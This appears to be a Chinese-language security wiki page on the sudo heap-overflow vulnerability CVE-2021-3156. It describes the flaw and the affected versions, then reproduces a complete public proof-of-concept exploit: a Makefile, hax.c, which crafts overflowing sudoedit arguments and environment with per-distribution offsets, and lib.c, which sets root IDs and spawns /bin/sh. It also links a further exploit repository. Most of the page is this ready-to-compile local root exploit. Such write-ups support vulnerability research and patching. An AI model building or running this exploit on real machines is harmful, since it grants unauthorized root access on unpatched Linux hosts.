menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Linux chevron_right Linux sudo权限提升漏洞 CVE-2021-3156.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Linux sudo权限提升漏洞 CVE-2021-3156.md
    5.49 KB / 2021-04-15 12:15:18
        # Linux sudo权限提升漏洞 CVE-2021-3156
    
    ## 漏洞描述
    
    2021年1月26日,Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得root权限,并且是在默认配置下。此漏洞已分配为CVE-2021-3156,危险等级评分为7分。
    
    当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
    
    ## 漏洞影响
    
    > Sudo 1.8.2 - 1.8.31p2
    >
    > Sudo 1.9.0 - 1.9.5p1
    
    ## 漏洞复现
    
    > [!NOTE]
    >
    > 目前POC已经在Github公开
    
    [Linux sudo权限提升漏洞 CVE-2021-3156](https://github.com/blasty/CVE-2021-3156)
    
    ![](image/linux-1.png)
    
    当前可以验证的Linux环境为
    
    ```
     Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
     Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
    ```
    
    > [!NOTE]
    >
    > 这里使用腾讯云中的Ubuntu镜像进行复现
    
    ![](image/linux-2.png)
    
    使用命令
    
    ![](image/linux-4.png)
    
    ![](image/linux-3.png)
    
    ## 漏洞利用POC
    
    > [!NOTE]
    >
    > POC目录已经加入漏洞利用代码
    >
    > 另一个无交互式shell使用的脚本 https://github.com/Rvn0xsy/CVE-2021-3156-plus
    
    Makefile
    
    ```shell
    all:
    	rm -rf libnss_X
    	mkdir libnss_X
    	gcc -o sudo-hax-me-a-sandwich hax.c
    	gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
    clean:
    	rm -rf libnss_X sudo-hax-me-a-sandwich
    ```
    
    
    
    hax.c
    
    ```c
    /**
     ** CVE-2021-3156 PoC by blasty <[email protected]>
     ** ===========================================
     **
     ** Exploit for that sudo heap overflow thing everyone is talking about.
     ** This one aims for singleshot. Does not fuck with your system files.
     ** No warranties.
     **
     ** Shout outs to:
     **   Qualys      - for pumping out the awesome bugs
     **   lockedbyte  - for coop hax. (shared tmux gdb sessions ftw)
     **   dsc         - for letting me rack up his electricity bill
     **   my wife     - for all the quality time we had to skip
     **
     **  Enjoy!
     **
     **   -- blasty // 20210130
     **/
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <unistd.h>
    #include <ctype.h>
    
    // 512 environment variables should be enough for everyone
    #define MAX_ENVP 512
    
    typedef struct {
    	char *target_name;
    	char *sudoedit_path;
    	uint32_t smash_len_a;
    	uint32_t smash_len_b;
    	uint32_t null_stomp_len;
    	uint32_t lc_all_len; 
    } target_t;
    
    target_t targets[] = {
        {
            .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
            .sudoedit_path  = "/usr/bin/sudoedit",
            .smash_len_a    = 56,
            .smash_len_b    = 54,
            .null_stomp_len = 63, 
            .lc_all_len     = 212
        },
        {
            .target_name    = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
            .sudoedit_path  = "/usr/bin/sudoedit",
            .smash_len_a    = 64,
            .smash_len_b    = 49,
            .null_stomp_len = 60, 
            .lc_all_len     = 214
        }
    };
    
    void usage(char *prog) {
        printf("  usage: %s <target>\n\n", prog);
        printf("  available targets:\n");
        printf("  ------------------------------------------------------------\n");
        for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
            printf("    %d) %s\n", i, targets[i].target_name);
        }
        printf("  ------------------------------------------------------------\n");
        printf("\n");
    }
    
    int main(int argc, char *argv[]) {
        printf("\n** CVE-2021-3156 PoC by blasty <[email protected]>\n\n");
    
        if (argc != 2) {
            usage(argv[0]);
            return -1;
        }
    
        target_t *target = &targets[ atoi(argv[1]) ];
    
        printf("using target: '%s'\n", target->target_name);
    
        char *smash_a = calloc(target->smash_len_a + 2, 1);
        char *smash_b = calloc(target->smash_len_b + 2, 1);
    
        memset(smash_a, 'A', target->smash_len_a);
        memset(smash_b, 'B', target->smash_len_b);
    
        smash_a[target->smash_len_a] = '\\';
        smash_b[target->smash_len_b] = '\\';
    
        char *s_argv[]={
            "sudoedit", "-s", smash_a, "\\", smash_b, NULL
        };
    
        char *s_envp[MAX_ENVP];
        int envp_pos = 0;
    
        for(int i = 0; i < target->null_stomp_len; i++) {
            s_envp[envp_pos++] = "\\";
        }
        s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
    
        char *lc_all = calloc(target->lc_all_len + 16, 1);
        strcpy(lc_all, "LC_ALL=C.UTF-8@");
        memset(lc_all+15, 'C', target->lc_all_len);
    
        s_envp[envp_pos++] = lc_all;
        s_envp[envp_pos++] = NULL;
    
        printf("** pray for your rootshell.. **\n");
    
        execve(target->sudoedit_path, s_argv, s_envp);
        return 0;
    }
    ```
    
    
    
    lib.c
    
    ```c
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
     
    static void __attribute__ ((constructor)) _init(void);
     
    static void _init(void) {
    	printf("[+] bl1ng bl1ng! We got it!\n");
    	setuid(0); seteuid(0); setgid(0); setegid(0);
    	static char *a_argv[] = { "sh", NULL };
    	static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    	execv("/bin/sh", a_argv);
    }
    ```
    
    
    
    links
    file_download